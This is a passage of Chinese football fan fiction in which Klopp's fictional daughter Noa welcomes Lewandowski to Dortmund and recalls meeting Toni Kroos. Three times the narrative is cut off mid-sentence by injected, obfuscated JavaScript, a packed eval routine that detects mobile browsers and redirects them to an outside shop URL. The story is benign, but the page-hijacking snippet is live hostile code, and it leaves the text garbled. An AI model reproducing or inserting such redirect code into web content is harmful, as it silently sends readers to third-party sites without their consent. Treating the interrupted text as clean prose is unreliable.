《[足球]绿茵棋手》 3. 第 3 章 诺阿发动汽车,告诉副驾上的莱万接下来的安排,“把行李放车上,我们先去和尤尔根他们吃饭,吃完后我再送你去公寓。” “公寓里的所有东西都准备好了,如果你还缺什么,附近就有大型超市。” 莱万耸了下肩,对诺阿抱以全身心的信任,“你已经说什么都给我准备好了,我不认为我还会缺什么。” 不知道为什么,刚才还萦绕在莱万身上的拘谨生疏感,在他坐上诺阿身边副驾,两人共处车内狭小封闭空间时,全然消失不见。 在诺阿这里,莱万和其他球员不同,其他引援球员都是俱乐部的工作人员为他们安排。 诺阿现在虽然也是在俱乐部工作,但以她球队分析师以及主教练女儿的身份,怎么都不用她负责这些琐事。 她这么做只因为他是莱万,只因为他来到多特蒙德可以说是她一手促成的。 莱万的回答让诺阿轻笑一声,她没想到看起来有些冷漠的波兰人,面对她时意外的直率还带着几分甜意,“罗伯特,我现在相信你很快能跟队友们融洽相处了。” 只要他肯把面对她时的亲近用一部分在队友身上,这绝对可以。 经过这段时间在多特蒙德的工作和随队去到各地与不同球队的比赛,诺阿已经了解球星们在除开名气和粉丝的爱之外,只是个普通人。 既然是普通人,那普通人之间的交友相处模式就能适用在他们身上。 诺阿也亲身体验过,在球星们是普通人时和他们发展出的友谊,并不会因为他们的成名而改变。 “另外我就住在你公寓附近,接下来你遇到什么问题或者需要什么也都可以来找我。”诺阿目视前方专注开车,侧脸线条利落又漂亮。 “你的德语老师俱乐部已经给你安排好,虽然队员之间用英语沟通没问题,但学会德语对你来说更好。” “等你差不多掌握语言后可以去考驾照。”诺阿几乎是为莱万规划好了一切,就像她下国际象棋时总是会提前计算接下来几十步该怎么走一样。 “不过不用担心,在你考到驾照之前,我都会开车带你一起去俱乐部。” 莱万从上车后一直看向诺阿,他有些说不清楚此刻的感受,但他能确定的是,有人会一直在他身边。 东欧人的凛冽融化在莱万的青涩笑容里,“这可太好了,我想我已经开始期待接下来的生活了。” 诺阿没说自己这么做存在私心。 老父亲克洛普对她很是关心,从她开始在多特蒙德工作,克洛普每天都特意来接她,父女俩一起上班下班。 这样看起来很不错,但问题是诺阿快承受不了老父亲的关爱了。 在过去的几年里,克洛普就因为担心诺阿,不肯让她一个人生活,而是和他们一起住。 她早就不是几岁的孩子,但在克洛普眼里她似乎一直都是。 克洛普记得诺阿刚出生时,小小一团被他紧张欢喜捧着抱住贴在胸口;记得她牵住他的手跌跌撞撞行走的可爱样子;更记得离婚之后诺阿跟着母亲回到中国,几年里只能在假期或者参加国际象棋比赛时来德国,他许久未见错过太多长成的样子。 以及在克洛普被通知诺阿和母亲一起遭遇车祸,等他赶到中国看到的是诺阿带着呼吸管,躺在病床上毫无生机的样子…… 诺阿明白离婚是夫妻之间的选择没错,她也清楚这并不会阻止和母亲分开的克洛普成为尽职尽责的父亲。 即使选择离婚没能最后走到一起,克洛普在面对诺阿时一直都是最爱她的父亲。 但老父亲的关爱分量太重实在是让她感到压力,没办法诺阿只能找其他借口。 比如说成年后想要独自生活而搬出去自己住,为了上班方便顺带捎上刚来的莱万,理由正当地拒绝老父亲接送而自己开车。 一想到接下来莱万都可以充当这个借口,诺阿立刻决定全方位关心莱万的一切。 很快诺阿开车带着莱万到达父亲克洛普家。 下车时考虑到自己是被主教练邀请做客,莱万显得有些拘谨,他对诺阿说,“刚刚在机场的时候我忘买礼物了。” 礼物价格多少不重要,最要的是他被邀请用餐不能空着手来,带一束花或者一瓶酒、一份甜品作为礼物也好。 可是他竟然忘了。 “没关系。”诺阿宽慰莱万,“不需要什么礼物,我们今天只是简单吃顿饭,papa他想见见你而已。” 诺阿抛开主教练和球员之间存在着的管理掌控关系,将今天的这顿饭说得像是长辈和自己孩子朋友的一次见面用餐。 没有过多身份权力上的差距,显得更平等亲易近人,缓解了莱万对他忘带礼物上门的懊恼。 “走吧,我已经饿了,我们快进去吧。” 诺阿走在前面按响门铃,莱万就站在她身后。 来开门的是克洛普,他先笑着给了诺阿一个大大的拥抱,“诺阿,你们回来得刚好,午餐刚准备好。乌拉做了你爱吃的蛋糕,还另外准备了份一会儿你可以带回去。” 诺阿抱了抱老父亲克洛普,“看来我的晚饭也有着落了。” 克洛普抱着诺阿看到了她身后的莱万。 莱万扯起嘴角露出个相对腼腆的笑容,他打招呼,“谢谢您的邀请,教练。” 这不是莱万第一次见到克洛普,他在决定加盟多特蒙德之前来过德国实地考察,也和克洛普见面聊过俱乐部接下来的计划,克洛普作为主教练打算怎么用他。 但那毕竟是在俱乐部,而不是像这会儿在克洛普家门口,能看到他最舒适自然的样子。 克洛普有一米九多高,曾经是球员的他身材高大结实,尽管头发和胡子看上去有些乱糟糟的,但莱万不得不承认这样的克洛普让他感到亲切。 特别是在看到克洛普和诺阿之间的拥抱,莱万想起了去世离开他好几年的父亲。 “噢,罗伯特,在家里叫我尤尔根就好。”克洛普松开诺阿给了莱万一个同样的大大拥抱,“就像诺阿她也只是在俱乐部里才管我叫教练,回家后她还是得叫我papa一样。” 诺阿双手交叉抱胸,脸上带着笑意看莱万露出几分腼腆怀念神情有些生涩拘谨地被克洛普紧紧抱住。 诺阿知道莱万的父亲在他十六岁时去世,这对他来说是个不小的打击。 “噢,这是什么意思。”诺阿开玩笑,“你也想罗伯特跟我一样,在俱乐部里管你叫教练,回家后叫你papa吗?” “哈哈哈哈。糟糕,被发现了。”克洛普几乎是立刻明白诺阿这么说的目的接上话。 父女俩情商都很高,在人际交往上都有别样的细腻魅力。 克洛普咧着一口大白牙笑着说,“别担心诺阿,罗伯特不会抢走我对你的爱,你永远都是我最爱的女儿。” “当然。”克洛普松开莱万,宽大手掌轻拍他脊背接着又豪气揽住他肩膀,“罗伯特,我想表达的意思是我也会把你当成是我的孩子一样关心照顾。” “我们之间不仅是主教练和球员,还会是朋友、我还会作为一个父亲给你关心和支持。” 克洛普这么说着,手上也用力揽了揽莱万肩膀,来证明他的认真。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318916|199017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这可不是场面话,克洛普的确是个相当真诚的人。 父亲的去世对莱万的确是个不小的打击,他在很多个夜晚里设想过,如果他有天踢出名堂,踢得整个世界都认识他时,要是他的父亲还在该多好。 莱万有些感动。 他不认为有谁可以替代他去世的父亲,但也得承认克洛普的这番话让他触动,克洛普父亲一般的拥抱让他生出思念。 “好了,你们再多说几句我就要不高兴了,谁还记得我在这儿。”诺阿出声恰到好处地打断这一幕,让莱万可以自然过渡整理他的情绪。 感情牌好用,但也要把握好分寸。 “哈哈哈,当然记得。”克洛普笑着将莱万推进家门,张开手臂分别揽住莱万和诺阿。 “走吧,我们去吃饭吧,我想你们应该都饿了。特别是你,诺阿,一会儿多吃点好吗。” 这顿午餐吃得很是愉快,莱万不会说德语,克洛普就用英语跟他沟通。 诺阿在这过程中也不时用波兰语跟莱万聊几句,让他不至于面对完全陌生的环境,起码母语还能给他一些安慰。 考虑到莱万刚从波兰飞到德国,两国虽然没有时差,但毕竟是个完全陌生的国度。 克洛普没有留莱万,而是让诺阿先送他去公寓,给他尽可能多的时间适应。 “怎么样,尤尔根他人还不错对吧。” 诺阿这话把克洛普说得像是她和莱万工作上的一个老好人同事、或是生活中认识的友善普通人一样,一点没有他其实是诺阿父亲、莱万主教练的身份感。 莱万听到都忍不住笑了,他靠在副驾椅背上,双腿舒展伸开整个人彻底放松下来。 “是的,尤尔根他相处起来人很不错。” 莱万也开始称呼克洛普为尤尔根,不过他清楚,等到明天去俱乐部,他需要叫克洛普教练。 “那就好。”诺阿笑了笑。 她相信莱万这会儿已经完全没了独自来到德国的陌生之感,她的目的也达到了,“走吧,接下来我送你去公寓,去看看你要住上好几年的房子怎么样。” “如果需要什么东西,我们还能去附近的超市买回来。” 诺阿把一切都安排得很好,去到公寓莱万把自己的行李整理出来放好,完全没发现还有什么需要补充的,甚至是冰箱里诺阿都早早买好了一些新鲜食材跟水果。 “那么今天就这样,你先休息,明天早上八点我来接你一起去俱乐部。” 诺阿没有打算过多打扰莱万,留给他足够多的空间和时间来消化这一切。 “好,谢谢你,诺阿。谢谢你为我做的这一切。”莱万动了动手指,想要拥抱诺阿还是忍住了。 他清楚自己的确对诺阿有好感,甚至程度完全可以说是喜欢,但他毕竟刚加盟多特蒙德,接下来他踢得怎么样一切都还是未知数。 甚至诺阿还是教练组工作人员,以及总教练女儿的身份。 莱万的理智告诉他,他还需要时间等待。 当然,除了莱万在等待之外,另一个人也是这么想的。 只是他在诺阿家里等待着她。 诺阿从莱万那里离开后没有回家,而是去了俱乐部工作。 她是教练组的分析师,日常工作量不小,要看各种比赛视频对球员、俱乐部进行分析工作。 今天上午因为去接机莱万耽误了,晚上加班几个小时后才结束一天的工作回到公寓。 在诺阿加班回来打开家门,看到两只乖巧坐在门口等待她的大耳朵比格时。 她一下就知道是克罗斯来了。 4.第 4 章 诺阿和克罗斯认识是在几年前,因为车祸诺阿失去了母亲,重新跟随父亲克洛普回到德国一起生活。 那场车祸带走了诺阿的母亲,同样给她的身体带来了伤害。 尽管经过手术后她捡回一条命,车祸中受的伤和手术治疗仍在她身体上留下了不少痕迹。 克洛普那时候还在美因茨执教,在忙碌的教练工作中他没有忽略对诺阿的关心。 他给诺阿找了业内很有名的皮肤科医生,希望能够治疗那场车祸和手术在诺阿身上留下的伤疤。 很多时候伤疤不仅仅是伤口愈合治疗的痕迹,还是某段痛苦回忆永久镌刻在身体上的记录。 克洛普希望皮肤科医生消除这些伤疤的同时,也能够渐渐抹除那场车祸给诺阿造成的伤害。 诺阿就是因为这而和克罗斯认识,他们有同一个皮肤科医生。 只是诺阿是去治疗她的伤疤,克罗斯是去治疗他的青春痘。 克罗斯现在都还记得他第一次见到诺阿时的那种窘迫感。 想想吧,那时候他刚十六七岁,虽然作为球员已经表现得非常不错,代表拜仁U19队在德甲出场,还帮助球队获得亚军。 但不知道怎么回事,那段时间受天气或者是激素什么影响,克罗斯年轻青涩的脸庞上冒出不少让人觉得尴尬的青春痘。 东一颗西一颗、星星点点又红彤彤地缀在克罗斯脸上。 首先克罗斯得承认,足球踢得怎么样绝对和脸无关。 其次克罗斯也得承认,在足球场上比赛踢球时,摄像机不可避免会怼着球员跟踪拍摄,让观看比赛直播的所有人都看到。 他脸上冒出的尴尬青春痘同样被所有人看到了。 克罗斯觉得这实在是太糟糕了,他脸上冒起来的青春痘就像粘在他小白鞋上的泥点子一样,让他觉得心情糟糕。 最重要的是,他脸上的痘痘还不能像小白鞋上的泥点子一样被轻松擦掉。 他必须得去看皮肤科医生了! 兰特哈勒博士是慕尼黑相当有名的皮肤科医生,来找他希望能够治疗自己皮肤问题的病人不少。 因为前面有病人在看诊,克罗斯只能先在诊室外走廊的长椅上坐下,然后他就看到同样坐着等待的诺阿。 在克罗斯看到诺阿,还和她对视上的那一瞬间,克罗斯真的觉得尴尬得要命。 诺阿那第一眼就让人震惊到的漂亮是一回事,克罗斯更多是被诺阿她好得不似真人的皮肤状态给震惊到。 他不明白诺阿都和他一样来看皮肤科医生了,怎么能脸上一颗痘痘都没有,皮肤还细腻光洁毫无瑕疵。 她来看什么皮肤科啊! 连她都来看皮肤科了,那他这一脸的痘痘是不是都得到要进行临终关怀的时候了! 德国人习惯直直的目光对视,在这过程中诺阿当然注意到克罗斯眼里的郁闷和震惊。 “你好。”诺阿先打招呼。 她认出了克罗斯,一方面是因为她看过克罗斯的比赛,另一方面是她有超忆症,每个见过的人她都能在死亡前永远记住。 “你好。”克罗斯尴尬地抬手想要摸脸,但一想到自己脸上的青春痘,克罗斯只能把抬起的手又放下。 “你也是来找兰特哈勒博士来看皮肤的吗,虽然你看起来不像。” 对此诺阿回答,“是的,我虽然看起来不像,但你确实能让人一眼看出是来看皮肤科的。” 克罗斯:“……” 这时候还不够宽言宽语的克罗斯第一次接受到来自别人宽言宽语的伤害。 “那你眼神还挺不错的。”克罗斯只能如此憋屈、毫无杀伤力地回答,“但为什么你没能看清楚自己到底需要看什么医生呢。” “看皮肤科对你来说完全多此一举。” 看到克罗斯郁闷模样,诺阿笑着说,“有没有可能我这是接受皮肤治疗后的康复例子,提醒你只要听兰特哈勒博士的话接受治疗,你的脸就能跟我的脸一样。” 听到诺阿这么说,克罗斯控制不了他的目光停留在诺阿脸上。 但慢慢的他的目光就从诺阿细腻光洁、没有任何瑕疵的完美皮肤,转到她漂亮灰蓝眼眸和惊艳让人心动的五官上。 克罗斯眼神开始飘忽闪躲,终于他抬手摸了下鼻子,“好吧,你的确是个能直观证明兰特哈勒博士医术非常好的例子。” “看来我的脸有救了。”克罗斯耸了耸肩。 看克罗斯真相信了她的话,诺阿觉得他似乎是有点太容易相信别人了。 因此诺阿准备给克罗斯一点教训,“你还真的相信了吗,其实我是在骗你,我从来没有皮肤问题,更没长过痘痘。” 诺阿脸上流露出几分狡黠,这让她看上去更加灵动像是个机敏漂亮的天使女孩儿。 尽管性格一点都不天使,甚至能说有些恶魔了。 特别是诺阿还弯腰一只手撑在膝盖上,托着她那张漂亮极了的脸说,“有时候你是得承认上帝的确偏爱一些人,比如说我。” 出生就是天才、拥有不可思议的超忆症、还生得如此美貌,从这些世俗条件来看,谁都无法不承认上帝的确偏爱着诺阿。 “……”克罗斯第一次尝到被漂亮女孩儿逗弄后的哑口无言。 她怎么能骗他!还是这么自然轻松地骗他! 对比克罗斯被戏弄欺骗的羞愤,诺阿像是什么都没发生一样接着问克罗斯。 “对了,我还没问你叫什么名字。” 克罗斯气愤地动了动嘴唇,想说他才不要告诉诺阿自己的名字。 但在克罗斯看到诺阿笑起来跟漂亮天使差不多的样子时,被欺骗后的那点羞愤,竟然又莫名其妙地消失,完全没了任何踪迹。 好吧,克罗斯是得承认这么漂亮、皮肤这么完美无瑕的诺阿,对比脸上长着尴尬青春痘的自己,的确是被上帝偏爱着。 “托尼·克罗斯。”少年为了让自己看上去像是在生气,冷脸说完自己的名字后,还用他那双透蓝眼眸还深深注视着诺阿。 但这并没有唤起诺阿的歉意,她的笑容依旧狡黠动人,脑袋两侧似乎长出一对恶魔角,身后也伸出一条尾端缀着三角的恶魔尾巴轻轻摇晃。 “好的,克罗斯。” 叫出克罗斯的名字后,诺阿竟起身给自己换了个位置,直接坐到了克罗斯身边继续她的逗弄。 “很抱歉告诉你在我们两个之间,上帝更偏爱我这个残忍的消息。” 知道克罗斯的名字似乎只是因为诺阿想要更精准打击到他而已。 突然并肩而坐的距离让克罗斯有些适应不了,他都闻到诺阿身上的淡淡香气,更清楚看到她脸上光洁无暇的皮肤。 这时候克罗斯要是还不明白诺阿对他带点欺负的逗弄,实际上是更像刚认识小动物之间,略带试探冒犯的嗅闻,那他就真是笨蛋了。 克罗斯都不知道自己怎么突然拘谨起来,还带了点期待。 克罗斯不仅不计较诺阿刚才骗了他,还问诺阿,“在骗了我之后,你都不打算告诉我你叫什么名字吗?” 他说了自己叫什么,诺阿不该也说出自己的名字吗。 诺阿刚想再逗逗克罗斯,说她不打算告诉克罗斯自己的名字,就看诊室门被打开。 他们等的兰特哈勒博士在和病人告别后,站在诊室门口看向坐在一起的克罗斯和诺阿。 “下一位病人,诺阿·克洛普。” 兰特哈勒博士边说边摘下眼镜,撩起衣摆轻擦镜片。目光在克罗斯和诺阿之间徘徊,很快他的不确定在看到克罗斯有些模糊,但能看到痘痘的脸时变成了确定。 “来吧,克洛普先生,该你了。” 好消息是不用问诺阿,克罗斯就知道了她的名字。 坏消息是克罗斯没想到自己今天还能第二次被别人的一句话给噎到。 虽然他和诺阿坐在一起,看上去需要皮肤治疗的人的确是他没错。 但有没有可能医生可以从病人预约信息的性别,确认下一位病人该是诺阿·克洛普女士呢!? 对比克罗斯的吃瘪,诺阿听到兰特哈勒博士对着克罗斯叫出克洛普先生后,再也忍不住笑容。 “哈哈哈,抱歉。”诺阿笑着站起来,一只手按在克罗斯肩膀上安慰地拍拍,对着兰特哈勒博士说,“没错,需要看皮肤科治疗的明显是我这位克洛普[先生]。” 这话一出,兰特哈勒博士一下就意识到了自己的错误。 “噢,抱歉,克洛普小姐,是我看……”兰特哈勒博士重新戴上眼镜,不是他为自己找借口,而是…… “好吧,克洛普小姐你先来。”兰特哈勒博士终于将眼前的诺阿和克罗斯,跟预约中的病人信息结合起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323406|199017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,“克罗斯先生,下一位是你。” “谢谢你,兰特哈勒博士。”这次真生气了的少年克罗斯冷笑着说出他的宽言宽语,“也谢谢你能把眼镜戴上。” 兰特哈勒博士:“……” 说真的,这也不能算是他的错对吧。 诺阿进去后问诊进行了十多分钟,等诊室门终于被打开,兰特哈勒博士送诺阿出来。 “我想我们可以先进行保守治疗,看情况再决定要不要做切除重缝手术。” 兰特哈勒博士已经了解到诺阿身上的伤疤都是因为车祸和手术治疗愈合造成的,说实话这样的伤疤保守治疗作用不大,想要消除最后必须还是要做手术。 问题是诺阿作为患者自己并不在乎。 诺阿没意见,“好的,先保守治疗就可以,我对那些印记的存在其实没那么在乎。” 对比父亲克洛普的担心紧张,诺阿在经历母亲去世、自己也曾在死亡边缘徘徊后,面对任何东西都能坦然接受了。 丑陋的伤疤而已,它并不会对她的人生造成任何影响。 克罗斯听了皱起眉,到底是什么印记让诺阿甚至要到做手术的程度。 “手术?”克罗斯担心起来,没有急着自己面诊而是先关心诺阿,“怎么回事,听上去你的皮肤问题比我的痘痘还要更棘手。” “只是听上去严重而已,但要论看上去,我觉得还是你脸上的痘痘要更严重。”诺阿又一句话让克罗斯噎住。 克罗斯露出无奈神情,如果不是确认他们是第一次见面,克罗斯都要怀疑他之前是不是惹到过诺阿了。 “好啦,抱歉。”诺阿一改小恶魔模样,笑着给了克罗斯一个拥抱,她对克罗斯的逗弄还是有分寸。 “谢谢你对我的关心,不过我的皮肤问题真的没什么,听兰特哈勒博士的话接受治疗或者手术就能解决。” “倒是你,说实话我很期待见到脸上没有痘痘的你。”诺阿松开克罗斯,“下次见好吗。” “克罗斯……”诺阿一边后退一边离开,她冲克罗斯眨了眨眼,“或者说、托尼。” 明明第一次见面就接连用语言欺负他的人是她,看他吃瘪后竟然又像什么都没发生一样,说期待下次和他见面,还像是朋友亲密叫他托尼的人也是她。 克罗斯承认他这会儿有点乱。 对于他和诺阿的初见不知道怎么定义的乱,以及诺阿给他的那个拥抱和直接叫他托尼,让他心跳节奏加快的乱。 “作为交换你也可以叫我诺阿。” “下次见面的时候就这么叫我吧,托尼。” 直到诺阿彻底离开不见,克罗斯都愣愣站在诊室门口,有些没反应过来。 就在一旁见证了这一幕的兰特哈勒博士推了下他的眼镜,默默扬眉在心里感叹。 年轻人啊。 等到克罗斯面诊,兰特哈勒博士看了他的症状,给他开好口服结合外用的药物后,克罗斯都还是一副心不在焉的样子。 “兰特哈勒博士。”克罗斯的突然开口让兰特哈勒博士抬起头。 “怎么了?” 克罗斯问:“就算你已经给我开好药了,下周我是不是还需要来复诊。” 兰特哈勒博士推了下眼镜轻轻扬起眉毛,虽然他已经给克罗斯开好接下来一个月治疗需要的药,克罗斯也不用下周再来复诊。 但克罗斯听上去又很想下周来复诊的样子…… 克罗斯感受到了来自兰特哈勒博士的打量目光,为了更清楚表达自己的意思,克罗斯额外又问了句。 “下周我什么时候来复诊比较合适。” “另外我可以问一下诺阿她下周什么时候会来吗。” 兰特哈勒博士还能有什么不明白呢。 所以说年轻人啊。 兰特哈勒博士也觉得年轻真是好啊。 他操纵着鼠标在病人档案上调出诺阿预约下次面诊的时间。 “好吧,我想同样是下周的星期四,克罗斯先生你可以来复诊,并且刚巧能遇到克洛普小姐。” “好的,谢谢你博士。”克罗斯得到想要的答案终于露出笑容。 这就是诺阿和克罗斯的相识。 “嘿!伦诺克斯、朱利叶斯。”诺阿摸了摸面前两只比格犬的脑袋,“你们的主人呢?他这是又打算让我来照顾你们几天吗?” 5.第 5 章 说是照顾,其实诺阿差不多算是伦诺克斯和朱利叶斯的另一个主人。 甚至克罗斯去领养它们的时候,都叫上诺阿陪他一起去的。 他们因为有同一个皮肤科医生而认识,在克罗斯冒出想要养只狗狗陪伴的想法,其他朋友建议他可以领养比格实验犬时,克罗斯立刻觉得这是个不错的注意。 并且非常碰巧,克罗斯和诺阿去领养的时候,刚好有两只结束皮肤实验的退役比格犬。 这就像是什么象征或者命运的暗示一样。 克罗斯领养了这两只实验比格犬,分别给它们起名叫做伦诺克斯和朱利叶斯。 克罗斯对诺阿说,她其实也算伦诺克斯和朱利叶斯的另一个主人。 在克罗斯需要去其他地方比赛时,伦诺克斯和朱利叶斯也总是被他交给诺阿照顾。 不过这次是因为德国队获得季军,刚结束他们的世界杯之旅。 20岁的克罗斯在世界杯上出场时间仅有五十四分钟,他自觉参与度不是很高,在世界杯结束后决定回到家乡陪伴家人、朋友,好好享受他接下来的假期。 诺阿就在这之中,克罗斯从慕尼黑开车把两只狗狗也带了过来。 伦诺克斯和朱利叶斯虽然是比格犬,但被克罗斯教得很乖巧,还能听懂不少指令。 听到诺阿问它们主人在哪里。 两只狗狗非常灵性地领着诺阿从门口经过客厅走到客卧门前,八只小爪子哒哒踩在木地板上发出声响,低头嗅闻门缝后,又扭头示意地看向诺阿。 “好的,托尼在这里对吗。真是聪明的小狗狗们。” 其实不用两只狗狗带路,诺阿没看到托尼坐在客厅看他的《狮子王》,就知道他早早在客卧睡下。 诺阿轻轻打开客卧房门,果然里面一片黑暗。 但不影响诺阿看到克罗斯顶着一头有些凌乱的金发,稍微有些宽的英俊脸庞半陷进柔软枕头里乖巧睡着的模样。 足球运动员的作息还真是早睡早起啊。 加班到现在才回来的诺阿只能如此感叹。 她走进客卧顺手将滑下的被子拉了拉帮克罗斯盖上,靠墙的书桌上放着克罗斯的背包,椅子靠背上搭着他换下来的衣服。 衣柜里不用看,也挂着属于克罗斯的不少衣服。 她家这间客卧都快成克罗斯的房间了。 诺阿在最开始认识克罗斯时都不知道,他们的关系会变得这样亲密,并且似乎还能在接下来的人生中持续相当长的时间。 “好吧,托尼。”诺阿抬手轻轻摸了下克罗斯的脸颊。 她喜欢这么做,不只是因为克罗斯有些宽阔的脸摸起来手感很是不错,还因为诺阿这么做时克罗斯笑起来的样子也颇为甜蜜。 “虽然你没有对我说晚安,但我还是可以跟你说句晚安的。”诺阿笑了笑。 “晚安,我们明早见。” 诺阿在说这话的时候,根本没想过都等不到明早,几个小时后就她会被半夜闹腾、一直想把她房门刨开两只魔童比格给吵醒。 在克罗斯手底下讨生活的比格很明显知道谁才是它们可以惹的那个人。 而别看诺阿总是嘴上跟克罗斯你来我往的样子,她拿两只狗狗是真没有任何办法,她总不能跟狗狗们生气吧。 她顶多找找克罗斯的麻烦。 “天哪……”睡得正沉的诺阿硬生生被两只狗狗呜咽刨门的声音吵醒,更要命的是在她想捂住耳朵催眠自己别理睬继续睡时。 更聪明一点、还会不少动作指令的伦诺克斯,直接抬起前爪站起来,用爪子打开了诺阿的房门。 这下两只狗狗直接小爪子哒哒地跑到她床边,还一点不客气地跳上诺阿的床上,兴奋甩着尾巴去舔她。 诺阿:“……” 她该庆幸起码它们没有半夜werwer地叫出来吗? 不然明天她就得被邻居们给投诉了。 诺阿估计克罗斯从慕尼黑开车把两只狗狗送过来之前,肯定忘了先溜它们。 不然它们不会大半夜还这么有精力地来闹她。 都怪克罗斯,这都是他的错,所以也该他来解决。 被吵醒的诺阿昏昏沉沉起来,两只狗狗以为诺阿要陪它们玩或者散步,自然兴奋地跟在她脚边。 很快一人两狗停在客卧房门前。 “托尼、醒醒……” 睡梦中的克罗斯好像听到诺阿在叫他。 凌晨三点正是睡得最沉的时候,克罗斯不确定他这是在做梦,还是诺阿真的在叫他。 克罗斯翻了个身面向声音传来的方向,眼睛都没睁开,“嗯……诺阿?” 诺阿双手捧住克罗斯脸颊,还用上几分力气揉了揉,“是我、托尼、醒醒。” 诺阿困得不行,但还是得问克罗斯,“你是不是来之前白天忘了带伦诺克斯和朱利叶斯出门散步了,它们这会儿都还精神得要命,跑来把我吵醒了。” 克罗斯听到后终于睁开眼,再加上他还感觉到自己的手指上被两只狗狗舔得湿乎乎又热乎乎的。 这下克罗斯彻底清醒过来了。 他的确是白天开车赶时间过来才没有遛狗。 “抱歉。”克罗斯从床上坐起来,声音沙哑地抓了抓头发,“为了早点过来我今天的确没带它们去散步,我以为它们会乖乖的。” 克罗斯还是把比格们想得太乖了。 或者说伦诺克斯和朱利叶斯的确在克罗斯面前很乖,毕竟要在他手底下讨生活,连半夜折磨人都知道去闹诺阿。 “你接着睡吧。”克罗斯对困得趴在他床边,马上就要睡着的诺阿说,“我带它们出去逛逛,一会儿回来。” 克罗斯不习惯睡觉时穿上衣,年轻、结实漂亮的身体在黑暗中相当有存在感,更别说这会儿他只穿着一条黑色贴身平角内裤站在诺阿面前的样子。 但这都不是重点,诺阿真的困极了,看都没看一眼,在克罗斯起来床上空出位置后。 她直接迷迷糊糊爬上床,睡在了克罗斯刚在的位置,把被子拉着盖上。 “别忘记带钥匙……”提醒完这句诺阿就没了声音。 鉴于克罗斯刚离开没几秒,床上他留下来的体温和气味根本就像是他还睡在这里一样。 诺阿这完全能算得上是和克罗斯睡在一起了。 克罗斯看到这么自然睡在他床上的诺阿,脸上露出个非常温柔的笑容。 “虽然这么说有点晚,但是。”克罗斯穿好衣服,离开前弯腰亲在诺阿的脸颊上。 “晚安, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348722|199017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做个好梦,我很快回来。” 说完克罗斯低头看向坐在他脚边,仰头兴奋看着他的狗狗们说,“走吧,捣蛋鬼们。如果不是你们的话,我这会儿应该……” 克罗斯停顿了下没有继续说下去,他转头看了眼睡在他床上的诺阿,决定换个说法。 “好吧,我不应该叫你们捣蛋鬼。”克罗斯带着狗狗们去到客厅,给它们套上牵引绳摸了摸它们的小脑袋。 “你们这次干得很好,明天我会给你们买玩具作为奖励。” 睡着的诺阿完全不知道克罗斯对于两只狗狗不作惩罚反而奖励的行为。 很快克罗斯带着两只狗狗大半夜出门散步,来消磨它们的精力。 大概溜了四十几分钟,克罗斯带着狗狗们回来,这次它们终于是可以睡觉了。 两只狗狗知道它们睡觉的地方在客厅的狗窝里,经过四十几分钟散步,它们终于消耗完精力满意地回窝睡觉。 而克罗斯,毫无疑问他也打算这么做。 简单洗漱过后,他重新打开了客卧的门。 为了不吵醒睡着的诺阿,克罗斯在黑暗的房间里脱掉了衣服,掀开被子重新回到床上,带着他刚结束四十多分钟散步后的一身热气。 睡着的诺阿像是感受到了克罗斯的到来,虽然一点没醒,但还是往前拱了拱给克罗斯让出位置来。 “跑什么。”克罗斯压低的声音里带着几分笑意,“说真的你现在想跑可太晚了。” 克罗斯伸出手臂抱住诺阿,将她抱进怀里,他的胸口完全贴在她后背上。 男人身体的火热让睡梦中的诺阿意外地放松下来,原本她还觉得刚开始的床睡着暖烘烘的,但不知道为什么那股暖意慢慢就没了。 现在那股热源重新回来,诺阿睡得更安稳了。 但克罗斯经过四十几分钟在黑冷夜里的散步,这会儿意识非常清醒,睡意也消失不见。 克罗斯手臂环在诺阿腰间安静地抱着她,有些不知道该怎么定义他和诺阿之间的关系,怎么让他们之间的关系更进一步。 毫无疑问克罗斯爱诺阿,但他们之间的关系还停留在朋友而不是恋人。 不是克罗斯不想,而是诺阿的反应让他胆怯。 他们在认识之后先是成为朋友,并且维持了相当长的朋友身份。 克罗斯会经常邀请诺阿去看他的比赛,会带他的弟弟菲力克斯和其他朋友认识诺阿。 因为那时候诺阿还在慕尼黑读研,她也会在克罗斯有空的时候经常和他在一起,两个人一起去玩儿、去吃东西、还会一起度假。 但另一方面,他们又会比单纯的朋友还要更加亲密。 当然,这里说得亲密不是搞在一起的亲密。 像是现在这样,他们虽然睡一起,但谁都没有抱着某些想法而这么做。 克罗斯和诺阿之间的亲密是种他们自己清楚,其他人也能一眼看出他们两个之间离成为恋人只差一个决定瞬间的亲密。 只是很遗憾那个瞬间还没到来。 克罗斯就这样抱着诺阿,双臂环在她腰间思考。 克罗斯明白自己需要更努力表达出他对诺阿的爱,这样那个瞬间才能尽可能早的到来。 顿时一个想法出现在克罗斯脑海。 6.第 6 章 